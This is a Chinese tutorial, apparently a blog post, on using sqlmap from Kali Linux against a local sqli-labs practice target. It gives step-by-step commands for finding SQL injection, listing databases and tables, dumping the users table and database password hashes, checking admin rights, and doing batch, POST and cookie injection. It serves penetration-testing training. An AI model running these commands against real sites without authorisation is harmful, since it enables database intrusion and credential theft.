本文主要是介绍kali——sqlmap的使用，希望对大家解决编程问题提供一定的参考价值，需要的开发者们随着小编来一起学习吧！
目录
前言
sqlmap在kali中的使用
检测注入点
产看所有数据库
查看当前网站使用的数据库
产看数据表
查看字段
查看字段数据
查看数据库用户
查看所有用户
获取数据库用户密码
查看用户权限
判断当前数据库用户是否是管理员
批量自动化扫描
post请求注入
前言
sqlmap是一款强大的开源自动化SQL注入工具，主要用于检测和利用SQL注入漏洞，协助渗透测试人员快速发现和验证web应用程序中的SQL注入缺陷。
实际渗透测试中，只要kali机能够上网就可以直接使用sqlmap；这里我们在centos上搭建sqlibs靶场做靶机，kali机为攻击机。
然后将kali机的dns为服务机centos的dns，这样kali机就可以访问centos上的网站了。
sqlmap在kali中的使用
检测注入点
sqlmap -u 完整url //检测过程中需要手动输入y/n，即是否继续进行sql注入检测
sqlmap -u 完整url --batch //检测过程中默认继续进行sql注入检测
sqlmap -u http://www.sqlibs.com/Less-1/?id=1 --batch
可以看到一共扫到了四种类型的sql注入漏洞，以及漏洞使用方法：
产看所有数据库
sqlmap -u 完整url --dbssqlmap -u http://www.sqlibs.com/Less-1/?id=1 --dbs
查看当前网站使用的数据库
sqlmap -u 完整url --current-dbsqlmap -u http://www.sqlibs.com/Less-1/?id=1 --current-db
可以看到使用的数据库是security
产看数据表
sqlmap -u 完整url -D '数据库名' --tablessqlmap -u http://www.sqlibs.com/Less-1/?id=1 -D 'security' --tables
可以看到数据库security有四张表：emails、referers、uagents、users
查看字段
sqlmap -u 完整url -D '数据库名' -T '表名' --columns
sqlmap -u http://www.sqlibs.com/Less-1/?id=1 -D 'security' -T 'users' --columns
可以看到users表有三个字段：id、password、username
查看字段数据
sqlmap -u 完整url -D '数据库名' -T '表名' --dumpsqlmap -u http://www.sqlibs.com/Less-1/?id=1 -D 'security' -T 'users' --dump
可以看到users表的三个字段及其数据
查看数据库用户
sqlmap -u 完整url --current-usersqlmap -u http://www.sqlibs.com/Less-1/?id=1 --current-user
查看所有用户
sqlmap -u 完整url --userssqlmap -u http://www.sqlibs.com/Less-1/?id=1 --users
获取数据库用户密码
sqlmap -u 完整url --passwordssqlmap -u http://www.sqlibs.com/Less-1/?id=1 --passwords
查看用户权限
sqlmap -u 完整url --privilegessqlmap -u http://www.sqlibs.com/Less-1/?id=1 --privileges
判断当前数据库用户是否是管理员
sqlmap -u 完整url --is-dbasqlmap -u http://www.sqlibs.com/Less-1/?id=1 --is-dba
判断结果为True，即当前数据库用户是管理员用户。
批量自动化扫描
新建xxx.txt文件，里面存放多个url
sqlmap -m xxx.txtpost请求注入
将抓包抓到的http请求内容存放到.txt文件中
sqlmap -r xxx.txtcookie注入
sqlmap -u 完整curl --cookie 'cookie'（单引号和双引号都行）这篇关于kali——sqlmap的使用的文章就介绍到这儿，希望我们推荐的文章对编程师们有所帮助！
